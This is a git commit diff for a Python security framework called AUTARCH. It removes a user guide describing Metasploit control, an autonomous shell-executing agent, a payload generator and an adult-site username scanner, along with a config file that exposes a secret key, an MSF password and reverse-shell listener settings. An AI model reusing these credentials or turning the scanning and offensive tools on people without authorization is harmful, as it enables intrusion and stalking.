AUTARCH v1.9 — remote monitoring, SSH manager, daemon, vault, cleanup

- Add Remote Monitoring Station with PIAP device profile system
- Add SSH/SSHD manager with fail2ban integration
- Add privileged daemon architecture for safe root operations
- Add encrypted vault, HAL memory, HAL auto-analyst
- Add network security suite, module creator, codex training
- Add start.sh launcher script and GTK3 desktop launcher
- Remove Output/ build artifacts, installer files, loose docs
- Update .gitignore for runtime data and build artifacts
- Update README for v1.9 with new launch method, screenshots, and features

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
SsSnake
2026-03-24 06:59:06 -07:00
parent 1092689f45
commit da53899f66
382 changed files with 15277 additions and 493964 deletions

14
.gitignore vendored
View File

@@ -23,6 +23,17 @@ data/cve/*.db
data/sites/*.db data/sites/*.db
data/uploads/ data/uploads/
data/hardware/ data/hardware/
data/.splash_accepted
data/hal_memory.enc
data/vault.enc
*.pcap
*.pcapng
# Runtime-generated data
data/captures/*
data/reports/*
data/network/*
data/android_exploit/*
# Large files # Large files
models/ models/
@@ -60,8 +71,11 @@ dist/
build/ build/
build_temp/ build_temp/
release/ release/
Output/
installer/
*.spec.bak *.spec.bak
*.zip *.zip
*.ab
# Local utility scripts # Local utility scripts
kill_autarch.bat kill_autarch.bat

588
GUIDE.md
View File

@@ -1,588 +0,0 @@
# AUTARCH User Guide
## Project Overview
**AUTARCH** (Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking) is a comprehensive security framework developed by **darkHal Security Group** and **Setec Security Labs**.
### What We Built
AUTARCH is a modular Python security framework featuring:
- **LLM Integration** - Local AI via llama.cpp for autonomous assistance
- **Autonomous Agent** - AI agent that can execute tools and complete tasks
- **Metasploit Integration** - Direct MSF RPC control from within the framework
- **Modular Architecture** - Plugin-based system for easy extension
- **6 Security Categories** - Defense, Offense, Counter, Analyze, OSINT, Simulate
---
## Project Structure
```
dh_framework/
├── autarch.py # Main entry point
├── autarch_settings.conf # Configuration file
├── custom_adultsites.json # Custom adult sites storage
├── custom_sites.inf # Bulk import file
├── DEVLOG.md # Development log
├── GUIDE.md # This guide
├── core/ # Core framework modules
│ ├── __init__.py
│ ├── agent.py # Autonomous AI agent
│ ├── banner.py # ASCII banner and colors
│ ├── config.py # Configuration handler
│ ├── llm.py # LLM wrapper (llama-cpp-python)
│ ├── menu.py # Main menu system
│ ├── msf.py # Metasploit RPC client
│ └── tools.py # Agent tool registry
└── modules/ # User-facing modules
├── __init__.py
├── setup.py # First-time setup wizard
├── chat.py # Interactive LLM chat (core)
├── agent.py # Agent interface (core)
├── msf.py # Metasploit interface (offense)
├── defender.py # System hardening (defense)
├── counter.py # Threat detection (counter)
├── analyze.py # Forensics tools (analyze)
├── recon.py # OSINT reconnaissance (osint)
├── adultscan.py # Adult site scanner (osint)
└── simulate.py # Attack simulation (simulate)
```
---
## Installation & Setup
### Requirements
- Python 3.8+
- llama-cpp-python (pre-installed)
- A GGUF model file for LLM features
- Metasploit Framework (optional, for MSF features)
### First Run
```bash
cd /home/snake/dh_framework
python autarch.py
```
On first run, the setup wizard automatically launches with options:
1. **Configure LLM** - Set up model for chat & agent features
2. **Skip Setup** - Use without LLM (most modules still work)
### Running Without LLM
Many modules work without an LLM configured:
```bash
# Skip setup on first run
python autarch.py --skip-setup
```
**Modules that work without LLM:**
- defender (Defense) - System hardening checks
- counter (Counter) - Threat detection
- analyze (Analyze) - File forensics
- recon (OSINT) - Email, username, domain lookup
- adultscan (OSINT) - Adult site scanner
- simulate (Simulate) - Port scan, payloads
- msf (Offense) - Metasploit interface
**Modules that require LLM:**
- chat - Interactive LLM chat
- agent - Autonomous AI agent
You can configure LLM later with `python autarch.py --setup`
---
## Command Line Interface
### Basic Usage
```bash
python autarch.py [OPTIONS] [COMMAND]
```
### Options
| Option | Description |
|--------|-------------|
| `-h, --help` | Show help message and exit |
| `-v, --version` | Show version information |
| `-c, --config FILE` | Use alternate config file |
| `--skip-setup` | Skip first-time setup (run without LLM) |
| `-m, --module NAME` | Run a specific module directly |
| `-l, --list` | List all available modules |
| `--setup` | Force run the setup wizard |
| `--no-banner` | Suppress the ASCII banner |
| `-q, --quiet` | Minimal output mode |
### Commands
| Command | Description |
|---------|-------------|
| `chat` | Start interactive LLM chat |
| `agent` | Start the autonomous agent |
| `scan <target>` | Quick port scan |
| `osint <username>` | Quick username OSINT |
### Examples
```bash
# Show help
python autarch.py --help
# Run a specific module
python autarch.py -m chat
python autarch.py -m adultscan
# List all modules
python autarch.py --list
# Quick OSINT scan
python autarch.py osint targetuser
# Re-run setup
python autarch.py --setup
```
---
## Main Menu Navigation
### Menu Structure
```
Main Menu
──────────────────────────────────────────────────
[1] Defense - Defensive security tools
[2] Offense - Penetration testing
[3] Counter - Counter-intelligence
[4] Analyze - Analysis & forensics
[5] OSINT - Open source intelligence
[6] Simulate - Attack simulation
[99] Settings
[98] Exit
```
### Category Details
#### [1] Defense
System hardening and defensive security:
- Full Security Audit
- Firewall Check
- SSH Hardening
- Open Ports Scan
- User Security Check
- File Permissions Audit
- Service Audit
#### [2] Offense
Penetration testing with Metasploit:
- Search Modules
- Use/Configure Modules
- Run Exploits
- Manage Sessions
- Console Commands
- Quick Scanners
#### [3] Counter
Counter-intelligence and threat hunting:
- Full Threat Scan
- Suspicious Process Detection
- Network Analysis
- Login Anomalies
- File Integrity Monitoring
- Scheduled Task Audit
- Rootkit Detection
#### [4] Analyze
Forensics and file analysis:
- File Analysis (metadata, hashes, type)
- String Extraction
- Hash Lookup (VirusTotal, Hybrid Analysis)
- Log Analysis
- Hex Dump Viewer
- File Comparison
#### [5] OSINT
Open source intelligence gathering:
- **recon.py** - Email, username, phone, domain, IP lookup
- **adultscan.py** - Adult site username scanner
#### [6] Simulate
Attack simulation and red team:
- Password Audit
- Port Scanner
- Banner Grabber
- Payload Generator (XSS, SQLi, etc.)
- Network Stress Test
---
## Module Reference
### Core Modules
#### chat.py - Interactive Chat
```
Category: core
Commands:
/help - Show available commands
/clear - Clear conversation history
/history - Show conversation history
/info - Show model information
/system - Set system prompt
/temp - Set temperature
/tokens - Set max tokens
/stream - Toggle streaming
/exit - Exit chat
```
#### agent.py - Autonomous Agent
```
Category: core
Commands:
tools - Show available tools
exit - Return to main menu
help - Show help
Available Tools:
shell - Execute shell commands
read_file - Read file contents
write_file - Write to files
list_dir - List directory contents
search_files - Glob pattern search
search_content - Content search (grep)
task_complete - Signal completion
ask_user - Request user input
msf_* - Metasploit tools
```
### OSINT Modules
#### recon.py - OSINT Reconnaissance
```
Category: osint
Version: 2.0
Menu:
Email
[1] Email Lookup
[2] Email Permutator
Username
[3] Username Lookup (17+ platforms)
[4] Social Analyzer integration
Phone
[5] Phone Number Lookup
Domain/IP
[6] Domain Recon
[7] IP Address Lookup
[8] Subdomain Enumeration
[9] Technology Detection
```
#### adultscan.py - Adult Site Scanner
```
Category: osint
Version: 1.3
Menu:
Scan Categories:
[1] Full Scan (all categories)
[2] Fanfiction & Story Sites
[3] Art & Creative Sites
[4] Video & Streaming Sites
[5] Forums & Communities
[6] Dating & Social Sites
[7] Gaming Related Sites
[8] Custom Sites Only
[9] Custom Category Selection
Site Management:
[A] Add Custom Site (manual)
[D] Auto-Detect Site Pattern
[B] Bulk Import from File
[M] Manage Custom Sites
[L] List All Sites
Sites Database: 50+ built-in sites
Categories: fanfiction, art, video, forums, dating, gaming, custom
```
##### Adding Custom Sites
**Manual Add [A]:**
```
Site name: MySite
URL pattern (use * for username): mysite.com/user/*
Detection Method: [1] Status code
```
**Auto-Detect [D]:**
```
Domain: example.com
Test username: knownuser
(System probes 17 common patterns)
```
**Bulk Import [B]:**
1. Edit `custom_sites.inf`:
```
# One domain per line
site1.com
site2.net
site3.org
```
2. Run Bulk Import and provide test username
3. System auto-detects patterns for each domain
---
## Configuration
### Config File: autarch_settings.conf
```ini
[llama]
model_path = /path/to/model.gguf
n_ctx = 4096
n_threads = 4
n_gpu_layers = 0
temperature = 0.7
top_p = 0.9
top_k = 40
repeat_penalty = 1.1
max_tokens = 2048
seed = -1
[autarch]
first_run = false
modules_path = modules
verbose = false
[msf]
host = 127.0.0.1
port = 55553
username = msf
password =
ssl = true
```
### LLM Settings
| Setting | Default | Description |
|---------|---------|-------------|
| model_path | (required) | Path to GGUF model file |
| n_ctx | 4096 | Context window size |
| n_threads | 4 | CPU threads for inference |
| n_gpu_layers | 0 | Layers to offload to GPU |
| temperature | 0.7 | Sampling temperature (0.0-2.0) |
| top_p | 0.9 | Nucleus sampling threshold |
| top_k | 40 | Top-K sampling |
| repeat_penalty | 1.1 | Repetition penalty |
| max_tokens | 2048 | Maximum response length |
| seed | -1 | Random seed (-1 = random) |
### Metasploit Settings
| Setting | Default | Description |
|---------|---------|-------------|
| host | 127.0.0.1 | MSF RPC host |
| port | 55553 | MSF RPC port |
| username | msf | RPC username |
| password | (none) | RPC password |
| ssl | true | Use SSL connection |
**Starting msfrpcd:**
```bash
msfrpcd -P yourpassword -S -a 127.0.0.1
```
---
## Creating Custom Modules
### Module Template
```python
"""
Module description here
"""
# Module metadata (required)
DESCRIPTION = "Short description"
AUTHOR = "Your Name"
VERSION = "1.0"
CATEGORY = "osint" # defense, offense, counter, analyze, osint, simulate, core
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).parent.parent))
from core.banner import Colors, clear_screen, display_banner
def run():
"""Main entry point - REQUIRED"""
clear_screen()
display_banner()
print(f"{Colors.BOLD}My Module{Colors.RESET}")
# Your code here
if __name__ == "__main__":
run()
```
### Available Colors
```python
from core.banner import Colors
Colors.RED
Colors.GREEN
Colors.YELLOW
Colors.BLUE
Colors.MAGENTA
Colors.CYAN
Colors.WHITE
Colors.BOLD
Colors.DIM
Colors.RESET
```
### Module Categories
| Category | Color | Description |
|----------|-------|-------------|
| defense | Blue | Defensive security |
| offense | Red | Penetration testing |
| counter | Magenta | Counter-intelligence |
| analyze | Cyan | Forensics & analysis |
| osint | Green | Open source intelligence |
| simulate | Yellow | Attack simulation |
| core | White | Core framework modules |
---
## Agent Tools Reference
The autonomous agent has access to these tools:
### File Operations
```
read_file(path) - Read file contents
write_file(path, content) - Write to file
list_dir(path) - List directory
search_files(pattern) - Glob search
search_content(pattern) - Grep search
```
### System Operations
```
shell(command, timeout) - Execute shell command
```
### User Interaction
```
ask_user(question) - Prompt user for input
task_complete(result) - Signal task completion
```
### Metasploit Operations
```
msf_connect() - Connect to MSF RPC
msf_search(query) - Search modules
msf_module_info(module) - Get module info
msf_module_options(module) - Get module options
msf_execute(module, options) - Execute module
msf_sessions() - List sessions
msf_session_command(id, cmd) - Run session command
msf_console(command) - Direct console
```
---
## Troubleshooting
### Common Issues
**LLM not loading:**
- Verify model_path in autarch_settings.conf
- Check file permissions on model file
- Ensure sufficient RAM for model size
**MSF connection failed:**
- Verify msfrpcd is running: `msfrpcd -P password -S`
- Check host/port in settings
- Verify password is correct
**Module not appearing:**
- Ensure module has `CATEGORY` attribute
- Ensure module has `run()` function
- Check for syntax errors
**Adult scanner false positives:**
- Some sites return 200 for all requests
- Use content-based detection for those sites
- Verify with a known username
### Debug Mode
```bash
# Enable verbose output
python autarch.py --verbose
# Check configuration
python autarch.py --show-config
```
---
## Security Notice
AUTARCH is designed for **authorized security testing only**. Users are responsible for:
- Obtaining proper authorization before testing
- Complying with all applicable laws
- Using tools ethically and responsibly
**Do not use for:**
- Unauthorized access
- Harassment or stalking
- Any illegal activities
---
## Version History
| Version | Date | Changes |
|---------|------|---------|
| 1.0 | 2026-01-14 | Initial release |
| 1.1 | 2026-01-14 | Added custom site management |
| 1.2 | 2026-01-14 | Added auto-detect patterns |
| 1.3 | 2026-01-14 | Added bulk import |
---
## Credits
**Project AUTARCH**
By darkHal Security Group and Setec Security Labs
---
*For development history, see DEVLOG.md*

Binary file not shown.

Binary file not shown.

Before

Width:  |  Height:  |  Size: 64 KiB

View File

@@ -1,151 +0,0 @@
[llama]
model_path = C:\she\autarch\models\darkHal.gguf
n_ctx = 2048
n_threads = 4
n_gpu_layers = -1
temperature = 0.7
top_p = 0.9
top_k = 40
repeat_penalty = 1.1
max_tokens = 1024
seed = -1
n_batch = 512
rope_scaling_type = 0
mirostat_mode = 0
mirostat_tau = 5.0
mirostat_eta = 0.1
flash_attn = false
gpu_backend = vulkan
[autarch]
first_run = false
modules_path = modules
verbose = false
llm_backend = local
quiet = false
no_banner = false
[msf]
host = 127.0.0.1
port = 55553
username = msf
password = msdf
ssl = true
[osint]
max_threads = 8
timeout = 8
include_nsfw = true
[transformers]
model_path = C:\she\autarch\models\Lily-Cybersecurity-7B-v0.2
device = xpu
torch_dtype = auto
load_in_8bit = false
load_in_4bit = true
trust_remote_code = false
max_tokens = 1024
temperature = 0.7
top_p = 0.9
top_k = 40
repetition_penalty = 1.1
use_fast_tokenizer = true
padding_side = left
do_sample = true
num_beams = 1
llm_int8_enable_fp32_cpu_offload = false
device_map = auto
[claude]
api_key =
model = claude-sonnet-4-20250514
max_tokens = 4096
temperature = 0.7
[pentest]
max_pipeline_steps = 50
output_chunk_size = 2000
auto_execute = false
save_raw_output = true
[rsf]
install_path =
enabled = true
default_target =
default_port = 80
execution_timeout = 120
[upnp]
enabled = true
internal_ip = 10.0.0.26
refresh_hours = 12
mappings = 443:TCP,51820:UDP,8080:TCP
[wireguard]
enabled = true
config_path = /etc/wireguard/wg0.conf
interface = wg0
subnet = 10.1.0.0/24
server_address = 10.1.0.1
listen_port = 51820
default_dns = 1.1.1.1, 8.8.8.8
default_allowed_ips = 0.0.0.0/0, ::/0
[huggingface]
api_key =
model = mistralai/Mistral-7B-Instruct-v0.3
endpoint =
max_tokens = 1024
temperature = 0.7
top_p = 0.9
[discovery]
enabled = true
mdns_enabled = true
bluetooth_enabled = true
bt_require_security = true
[web]
host = 0.0.0.0
port = 8181
secret_key = 23088243f11ce0b135c64413073c8c9fc0ecf83711d5f892b68f95b348a54007
mcp_port = 8081
[revshell]
enabled = true
host = 0.0.0.0
port = 17322
auto_start = false
[slm]
enabled = true
backend = local
model_path =
n_ctx = 512
n_gpu_layers = -1
n_threads = 2
[sam]
enabled = true
backend = local
model_path =
n_ctx = 2048
n_gpu_layers = -1
n_threads = 4
[lam]
enabled = true
backend = local
model_path =
n_ctx = 4096
n_gpu_layers = -1
n_threads = 4
[autonomy]
enabled = false
monitor_interval = 3
rule_eval_interval = 5
max_concurrent_agents = 3
threat_threshold_auto_respond = 40
log_max_entries = 1000

View File

@@ -1,82 +0,0 @@
Metadata-Version: 2.4
Name: click
Version: 8.2.1
Summary: Composable command line interface toolkit
Maintainer-email: Pallets <contact@palletsprojects.com>
Requires-Python: >=3.10
Description-Content-Type: text/markdown
License-Expression: BSD-3-Clause
Classifier: Development Status :: 5 - Production/Stable
Classifier: Intended Audience :: Developers
Classifier: Operating System :: OS Independent
Classifier: Programming Language :: Python
Classifier: Typing :: Typed
License-File: LICENSE.txt
Requires-Dist: colorama; platform_system == 'Windows'
Project-URL: Changes, https://click.palletsprojects.com/page/changes/
Project-URL: Chat, https://discord.gg/pallets
Project-URL: Documentation, https://click.palletsprojects.com/
Project-URL: Donate, https://palletsprojects.com/donate
Project-URL: Source, https://github.com/pallets/click/
# $ click_
Click is a Python package for creating beautiful command line interfaces
in a composable way with as little code as necessary. It's the "Command
Line Interface Creation Kit". It's highly configurable but comes with
sensible defaults out of the box.
It aims to make the process of writing command line tools quick and fun
while also preventing any frustration caused by the inability to
implement an intended CLI API.
Click in three points:
- Arbitrary nesting of commands
- Automatic help page generation
- Supports lazy loading of subcommands at runtime
## A Simple Example
```python
import click
@click.command()
@click.option("--count", default=1, help="Number of greetings.")
@click.option("--name", prompt="Your name", help="The person to greet.")
def hello(count, name):
"""Simple program that greets NAME for a total of COUNT times."""
for _ in range(count):
click.echo(f"Hello, {name}!")
if __name__ == '__main__':
hello()
```
```
$ python hello.py --count=3
Your name: Click
Hello, Click!
Hello, Click!
Hello, Click!
```
## Donate
The Pallets organization develops and supports Click and other popular
packages. In order to grow the community of contributors and users, and
allow the maintainers to devote more time to the projects, [please
donate today][].
[please donate today]: https://palletsprojects.com/donate
## Contributing
See our [detailed contributing documentation][contrib] for many ways to
contribute, including reporting issues, requesting features, asking or answering
questions, and making PRs.
[contrib]: https://palletsprojects.com/contributing/

View File

@@ -1,38 +0,0 @@
click-8.2.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
click-8.2.1.dist-info/METADATA,sha256=dI1MbhHTLoKD2tNCCGnx9rK2gok23HDNylFeLKdLSik,2471
click-8.2.1.dist-info/RECORD,,
click-8.2.1.dist-info/WHEEL,sha256=G2gURzTEtmeR8nrdXUJfNiB3VYVxigPQ-bEQujpNiNs,82
click-8.2.1.dist-info/licenses/LICENSE.txt,sha256=morRBqOU6FO_4h9C9OctWSgZoigF2ZG18ydQKSkrZY0,1475
click/__init__.py,sha256=6YyS1aeyknZ0LYweWozNZy0A9nZ_11wmYIhv3cbQrYo,4473
click/__pycache__/__init__.cpython-313.pyc,,
click/__pycache__/_compat.cpython-313.pyc,,
click/__pycache__/_termui_impl.cpython-313.pyc,,
click/__pycache__/_textwrap.cpython-313.pyc,,
click/__pycache__/_winconsole.cpython-313.pyc,,
click/__pycache__/core.cpython-313.pyc,,
click/__pycache__/decorators.cpython-313.pyc,,
click/__pycache__/exceptions.cpython-313.pyc,,
click/__pycache__/formatting.cpython-313.pyc,,
click/__pycache__/globals.cpython-313.pyc,,
click/__pycache__/parser.cpython-313.pyc,,
click/__pycache__/shell_completion.cpython-313.pyc,,
click/__pycache__/termui.cpython-313.pyc,,
click/__pycache__/testing.cpython-313.pyc,,
click/__pycache__/types.cpython-313.pyc,,
click/__pycache__/utils.cpython-313.pyc,,
click/_compat.py,sha256=v3xBZkFbvA1BXPRkFfBJc6-pIwPI7345m-kQEnpVAs4,18693
click/_termui_impl.py,sha256=ASXhLi9IQIc0Js9KQSS-3-SLZcPet3VqysBf9WgbbpI,26712
click/_textwrap.py,sha256=BOae0RQ6vg3FkNgSJyOoGzG1meGMxJ_ukWVZKx_v-0o,1400
click/_winconsole.py,sha256=_vxUuUaxwBhoR0vUWCNuHY8VUefiMdCIyU2SXPqoF-A,8465
click/core.py,sha256=gUhpNS9cFBGdEXXdisGVG-eRvGf49RTyFagxulqwdFw,117343
click/decorators.py,sha256=5P7abhJtAQYp_KHgjUvhMv464ERwOzrv2enNknlwHyQ,18461
click/exceptions.py,sha256=1rdtXgHJ1b3OjGkN-UpXB9t_HCBihJvh_DtpmLmwn9s,9891
click/formatting.py,sha256=Bhqx4QXdKQ9W4WKknIwj5KPKFmtduGOuGq1yw_THLZ8,9726
click/globals.py,sha256=gM-Nh6A4M0HB_SgkaF5M4ncGGMDHc_flHXu9_oh4GEU,1923
click/parser.py,sha256=nU1Ah2p11q29ul1vNdU9swPo_PUuKrxU6YXToi71q1c,18979
click/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
click/shell_completion.py,sha256=CQSGdjgun4ORbOZrXP0CVhEtPx4knsufOkRsDiK64cM,19857
click/termui.py,sha256=vAYrKC2a7f_NfEIhAThEVYfa__ib5XQbTSCGtJlABRA,30847
click/testing.py,sha256=2eLdAaCJCGToP5Tw-XN8JjrDb3wbJIfARxg3d0crW5M,18702
click/types.py,sha256=KBTRxN28cR1VZ5mb9iJX98MQSw_p9SGzljqfEI8z5Tw,38389
click/utils.py,sha256=b1Mm-usEDBHtEwcPltPIn3zSK4nw2KTp5GC7_oSTlLo,20245

View File

@@ -1,4 +0,0 @@
Wheel-Version: 1.0
Generator: flit 3.12.0
Root-Is-Purelib: true
Tag: py3-none-any

View File

@@ -1,28 +0,0 @@
Copyright 2014 Pallets
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@@ -1,139 +0,0 @@
Metadata-Version: 2.4
Name: cryptography
Version: 46.0.5
Classifier: Development Status :: 5 - Production/Stable
Classifier: Intended Audience :: Developers
Classifier: Natural Language :: English
Classifier: Operating System :: MacOS :: MacOS X
Classifier: Operating System :: POSIX
Classifier: Operating System :: POSIX :: BSD
Classifier: Operating System :: POSIX :: Linux
Classifier: Operating System :: Microsoft :: Windows
Classifier: Programming Language :: Python
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3 :: Only
Classifier: Programming Language :: Python :: 3.8
Classifier: Programming Language :: Python :: 3.9
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Programming Language :: Python :: 3.13
Classifier: Programming Language :: Python :: 3.14
Classifier: Programming Language :: Python :: Implementation :: CPython
Classifier: Programming Language :: Python :: Implementation :: PyPy
Classifier: Programming Language :: Python :: Free Threading :: 3 - Stable
Classifier: Topic :: Security :: Cryptography
Requires-Dist: cffi>=1.14 ; python_full_version == '3.8.*' and platform_python_implementation != 'PyPy'
Requires-Dist: cffi>=2.0.0 ; python_full_version >= '3.9' and platform_python_implementation != 'PyPy'
Requires-Dist: typing-extensions>=4.13.2 ; python_full_version < '3.11'
Requires-Dist: bcrypt>=3.1.5 ; extra == 'ssh'
Requires-Dist: nox[uv]>=2024.4.15 ; extra == 'nox'
Requires-Dist: cryptography-vectors==46.0.5 ; extra == 'test'
Requires-Dist: pytest>=7.4.0 ; extra == 'test'
Requires-Dist: pytest-benchmark>=4.0 ; extra == 'test'
Requires-Dist: pytest-cov>=2.10.1 ; extra == 'test'
Requires-Dist: pytest-xdist>=3.5.0 ; extra == 'test'
Requires-Dist: pretend>=0.7 ; extra == 'test'
Requires-Dist: certifi>=2024 ; extra == 'test'
Requires-Dist: pytest-randomly ; extra == 'test-randomorder'
Requires-Dist: sphinx>=5.3.0 ; extra == 'docs'
Requires-Dist: sphinx-rtd-theme>=3.0.0 ; extra == 'docs'
Requires-Dist: sphinx-inline-tabs ; extra == 'docs'
Requires-Dist: pyenchant>=3 ; extra == 'docstest'
Requires-Dist: readme-renderer>=30.0 ; extra == 'docstest'
Requires-Dist: sphinxcontrib-spelling>=7.3.1 ; extra == 'docstest'
Requires-Dist: build>=1.0.0 ; extra == 'sdist'
Requires-Dist: ruff>=0.11.11 ; extra == 'pep8test'
Requires-Dist: mypy>=1.14 ; extra == 'pep8test'
Requires-Dist: check-sdist ; extra == 'pep8test'
Requires-Dist: click>=8.0.1 ; extra == 'pep8test'
Provides-Extra: ssh
Provides-Extra: nox
Provides-Extra: test
Provides-Extra: test-randomorder
Provides-Extra: docs
Provides-Extra: docstest
Provides-Extra: sdist
Provides-Extra: pep8test
License-File: LICENSE
License-File: LICENSE.APACHE
License-File: LICENSE.BSD
Summary: cryptography is a package which provides cryptographic recipes and primitives to Python developers.
Author-email: The Python Cryptographic Authority and individual contributors <cryptography-dev@python.org>
License-Expression: Apache-2.0 OR BSD-3-Clause
Requires-Python: >=3.8, !=3.9.0, !=3.9.1
Description-Content-Type: text/x-rst; charset=UTF-8
Project-URL: homepage, https://github.com/pyca/cryptography
Project-URL: documentation, https://cryptography.io/
Project-URL: source, https://github.com/pyca/cryptography/
Project-URL: issues, https://github.com/pyca/cryptography/issues
Project-URL: changelog, https://cryptography.io/en/latest/changelog/
pyca/cryptography
=================
.. image:: https://img.shields.io/pypi/v/cryptography.svg
:target: https://pypi.org/project/cryptography/
:alt: Latest Version
.. image:: https://readthedocs.org/projects/cryptography/badge/?version=latest
:target: https://cryptography.io
:alt: Latest Docs
.. image:: https://github.com/pyca/cryptography/actions/workflows/ci.yml/badge.svg
:target: https://github.com/pyca/cryptography/actions/workflows/ci.yml?query=branch%3Amain
``cryptography`` is a package which provides cryptographic recipes and
primitives to Python developers. Our goal is for it to be your "cryptographic
standard library". It supports Python 3.8+ and PyPy3 7.3.11+.
``cryptography`` includes both high level recipes and low level interfaces to
common cryptographic algorithms such as symmetric ciphers, message digests, and
key derivation functions. For example, to encrypt something with
``cryptography``'s high level symmetric encryption recipe:
.. code-block:: pycon
>>> from cryptography.fernet import Fernet
>>> # Put this somewhere safe!
>>> key = Fernet.generate_key()
>>> f = Fernet(key)
>>> token = f.encrypt(b"A really secret message. Not for prying eyes.")
>>> token
b'...'
>>> f.decrypt(token)
b'A really secret message. Not for prying eyes.'
You can find more information in the `documentation`_.
You can install ``cryptography`` with:
.. code-block:: console
$ pip install cryptography
For full details see `the installation documentation`_.
Discussion
~~~~~~~~~~
If you run into bugs, you can file them in our `issue tracker`_.
We maintain a `cryptography-dev`_ mailing list for development discussion.
You can also join ``#pyca`` on ``irc.libera.chat`` to ask questions or get
involved.
Security
~~~~~~~~
Need to report a security issue? Please consult our `security reporting`_
documentation.
.. _`documentation`: https://cryptography.io/
.. _`the installation documentation`: https://cryptography.io/en/latest/installation/
.. _`issue tracker`: https://github.com/pyca/cryptography/issues
.. _`cryptography-dev`: https://mail.python.org/mailman/listinfo/cryptography-dev
.. _`security reporting`: https://cryptography.io/en/latest/security/

View File

@@ -1,180 +0,0 @@
cryptography-46.0.5.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
cryptography-46.0.5.dist-info/METADATA,sha256=aOYB9_B-Ccske76ncMz-w9c_VnzYihv_7kxZlt2i2WQ,5748
cryptography-46.0.5.dist-info/RECORD,,
cryptography-46.0.5.dist-info/WHEEL,sha256=8hEf8NzM1FnmM77AjVt5h8nDuYkN3UqZ79LoIAHXeRE,95
cryptography-46.0.5.dist-info/licenses/LICENSE,sha256=Pgx8CRqUi4JTO6mP18u0BDLW8amsv4X1ki0vmak65rs,197
cryptography-46.0.5.dist-info/licenses/LICENSE.APACHE,sha256=qsc7MUj20dcRHbyjIJn2jSbGRMaBOuHk8F9leaomY_4,11360
cryptography-46.0.5.dist-info/licenses/LICENSE.BSD,sha256=YCxMdILeZHndLpeTzaJ15eY9dz2s0eymiSMqtwCPtPs,1532
cryptography/__about__.py,sha256=GWg4NAxg4vsSKUwmDy1HjUeAOhqTA46wIhiY6i03NSU,445
cryptography/__init__.py,sha256=mthuUrTd4FROCpUYrTIqhjz6s6T9djAZrV7nZ1oMm2o,364
cryptography/__pycache__/__about__.cpython-313.pyc,,
cryptography/__pycache__/__init__.cpython-313.pyc,,
cryptography/__pycache__/exceptions.cpython-313.pyc,,
cryptography/__pycache__/fernet.cpython-313.pyc,,
cryptography/__pycache__/utils.cpython-313.pyc,,
cryptography/exceptions.py,sha256=835EWILc2fwxw-gyFMriciC2SqhViETB10LBSytnDIc,1087
cryptography/fernet.py,sha256=3Cvxkh0KJSbX8HbnCHu4wfCW7U0GgfUA3v_qQ8a8iWc,6963
cryptography/hazmat/__init__.py,sha256=5IwrLWrVp0AjEr_4FdWG_V057NSJGY_W4egNNsuct0g,455
cryptography/hazmat/__pycache__/__init__.cpython-313.pyc,,
cryptography/hazmat/__pycache__/_oid.cpython-313.pyc,,
cryptography/hazmat/_oid.py,sha256=p8ThjwJB56Ci_rAIrjyJ1f8VjgD6e39es2dh8JIUBOw,17240
cryptography/hazmat/asn1/__init__.py,sha256=hS_EWx3wVvZzfbCcNV8hzcDnyMM8H-BhIoS1TipUosk,293
cryptography/hazmat/asn1/__pycache__/__init__.cpython-313.pyc,,
cryptography/hazmat/asn1/__pycache__/asn1.cpython-313.pyc,,
cryptography/hazmat/asn1/asn1.py,sha256=eMEThEXa19LQjcyVofgHsW6tsZnjp3ddH7bWkkcxfLM,3860
cryptography/hazmat/backends/__init__.py,sha256=O5jvKFQdZnXhKeqJ-HtulaEL9Ni7mr1mDzZY5kHlYhI,361
cryptography/hazmat/backends/__pycache__/__init__.cpython-313.pyc,,
cryptography/hazmat/backends/openssl/__init__.py,sha256=p3jmJfnCag9iE5sdMrN6VvVEu55u46xaS_IjoI0SrmA,305
cryptography/hazmat/backends/openssl/__pycache__/__init__.cpython-313.pyc,,
cryptography/hazmat/backends/openssl/__pycache__/backend.cpython-313.pyc,,
cryptography/hazmat/backends/openssl/backend.py,sha256=tV5AxBoFJ2GfA0DMWSY-0TxQJrpQoexzI9R4Kybb--4,10215
cryptography/hazmat/bindings/__init__.py,sha256=s9oKCQ2ycFdXoERdS1imafueSkBsL9kvbyfghaauZ9Y,180
cryptography/hazmat/bindings/__pycache__/__init__.cpython-313.pyc,,
